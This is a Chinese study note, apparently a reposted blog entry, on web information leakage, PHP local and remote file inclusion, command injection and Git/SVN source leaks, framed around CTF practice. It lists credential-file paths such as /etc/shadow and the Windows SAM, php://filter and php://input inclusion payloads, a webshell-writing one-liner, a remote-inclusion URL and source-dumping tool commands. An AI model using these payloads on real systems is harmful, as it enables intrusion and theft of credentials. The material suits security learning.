[Web安全学习] 信息泄露,文件包含,命令执行

文章目录

    • Web信息泄露
      • php文件包含漏洞
        • 本地文件包含LFI
          • [BJDCTF2020]ZJCTF,不过如此
        • 远程文件包含
    • 命令执行
    • Git泄露
      • SVN泄露
      • 网站源码

Web信息泄露

php文件包含漏洞

1.重要函数:

require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
2.一些常见的敏感信息路径:

Windows系统:

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

本地文件包含LFI

利用技巧
一. php伪协议利用

  1. 读取网页源码,需要开启allow_url_fopen,不需要开启allow_url_include
    index.php?page=php://filter/read=convert.base64-encode/resource=xxx.php
  2. 接收post文件,需要执行的内容放到post中 仅需要开启allow_url_include
    index.php?php://input

木马命令:

<?php fputs(fopen('shell.php','w'),'');?>
  1. ?page=data://text/plain, 需要开启allow_url_open 和 allow_url_include
    [Web安全学习] 信息泄露,文件包含,命令执行_第1张图片
[BJDCTF2020]ZJCTF,不过如此

知识点
本地文件包含伪协议

远程文件包含

形式:

http://192.168.198.163/contain/LFI/index.php?page=http://192.168.198.153/today.txt

命令执行

应用程序有时需要调用一些执行系统命令的函数,如在php中,使用system、exec、shell_exec\passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令上中,从而造成命令执行攻击,这就是命令执行漏洞。
[Web安全学习] 信息泄露,文件包含,命令执行_第2张图片
command1 && command2 先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
command1 & command2 先执行Command 1,不管是否成功,都会执行Command 2
command1 | command2 只执行command2
command 1 || command2 只执行正确的命令

[Web安全学习] 信息泄露,文件包含,命令执行_第3张图片
一. windows命令执行

Git泄露

Githack使用:
python2 githack.py ‘url’
[Web安全学习] 信息泄露,文件包含,命令执行_第4张图片

git log     查看历史记录
git reset   切换版本
git dirr    对比两次提交
git stash list 查看当前存储在栈中的内容
git stash pop 弹出当前存储在栈中的内容

使用githack获取.git文件,进入文件保存的目录。
执行ls -al查看文件
[Web安全学习] 信息泄露,文件包含,命令执行_第5张图片
进入目录获取文件。

SVN泄露

dvcs-ripper使用:url后面带.svn

perl rip-svn.pl -v -u http://challenge-425acb01b16ebe9b.sandbox.ctfhub.com:10080/.svn/ 

网站源码

gedit备份文件
vim 备份文件

你可能感兴趣的:(安全学习,安全)